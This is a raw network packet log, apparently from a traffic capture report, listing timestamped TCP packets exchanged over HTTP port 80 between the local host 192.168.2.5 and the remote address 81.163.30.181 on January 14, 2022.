Jan 14, 2022 21:05:48.957165003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.957202911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.957242012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.957256079 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.957281113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.957330942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.958174944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.958215952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.958254099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.958292007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.958307981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.958331108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.958343029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.958372116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.958412886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.958426952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.965874910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.991620064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991668940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991708994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991707087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.991749048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991775990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.991789103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991831064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991868973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991888046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.991909981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991950035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.991967916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.991988897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992007017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992031097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992070913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992110968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992127895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992151976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992191076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992208004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992229939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992238998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992270947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992310047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992348909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992366076 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992388964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992429972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992446899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992470980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992477894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992511034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992551088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992567062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992609024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992646933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992686033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992686033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992727995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992763042 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992767096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992808104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992825031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992846966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992887974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992919922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.992928028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992966890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.992981911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993006945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993046999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993065119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993084908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993124962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993138075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993165016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993206024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993246078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993262053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993285894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993324995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993340969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993366957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993390083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993407011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993451118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993493080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993510962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993534088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993575096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993593931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993616104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993623972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993658066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993696928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993716955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993731022 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993736982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993777037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993792057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993814945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993875980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.993876934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993922949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993966103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.993988991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994004965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994045019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994085073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994100094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994124889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994164944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994179010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994204998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994245052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994261980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994287014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994297981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994326115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994384050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994400978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994426966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994467020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994488955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994509935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994551897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994580984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994611979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994656086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994690895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994695902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994734049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994735003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994775057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994784117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994818926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994836092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994860888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994901896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994925022 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994941950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.994947910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.994981050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.995023012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.995038033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.007446051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.009401083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.014403105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.014447927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.014486074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.014564991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.014751911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.015042067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.015084982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.015125036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.015163898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.015180111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.015207052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.016199112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.016241074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.016278982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.016318083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.016328096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.016359091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.016362906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.016398907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.016444921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.023996115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.024504900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053273916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053312063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053334951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053359985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053373098 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053384066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053402901 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053407907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053431988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053441048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053456068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053478003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053484917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053502083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053524017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053549051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053554058 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053574085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053580046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053597927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053622961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053625107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053647041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053670883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053693056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053700924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053715944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053725958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053742886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053765059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053769112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053781986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053800106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053814888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053832054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053862095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053888083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053900957 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053914070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053926945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053939104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053941965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.053958893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053982973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.053997993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054008007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054033995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054049969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054059029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054085016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054109097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054122925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054132938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054145098 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054152966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054174900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054179907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054203987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054225922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054229021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054254055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054277897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054289103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054301977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054326057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054342031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054349899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054373980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054397106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054402113 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054419041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054431915 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054444075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054467916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054485083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054502010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054512978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054527998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054542065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054550886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054564953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054575920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054600000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054621935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054627895 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054645061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054655075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054670095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054692984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054702044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054716110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054740906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054764032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054776907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054788113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054797888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054811954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054836035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054857969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054862976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054881096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054888010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054903984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054928064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054941893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.054951906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054974079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.054997921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055005074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.055021048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055042982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055048943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.055066109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055068970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.055088997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055111885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055124998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.055134058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055150986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.055156946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055181026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055203915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055206060 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.055227041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055250883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055253983 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.055274010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.055325031 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.058387041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.065578938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.065918922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.069848061 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.072350025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.072837114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.072860003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.072880983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.072902918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.072923899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.072926044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.072947025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.072972059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.074068069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.074090004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.074111938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.074132919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.074146032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.074153900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.074178934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.074182034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.074228048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.083954096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.085352898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.086843014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.113188028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113234043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113274097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113312960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113318920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.113352060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113358021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.113393068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113432884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113471985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113498926 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.113512039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113554001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113570929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.113593102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113624096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113655090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.113677025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.113686085 CET	49882	80	192.168.2.5	81.163.30.181
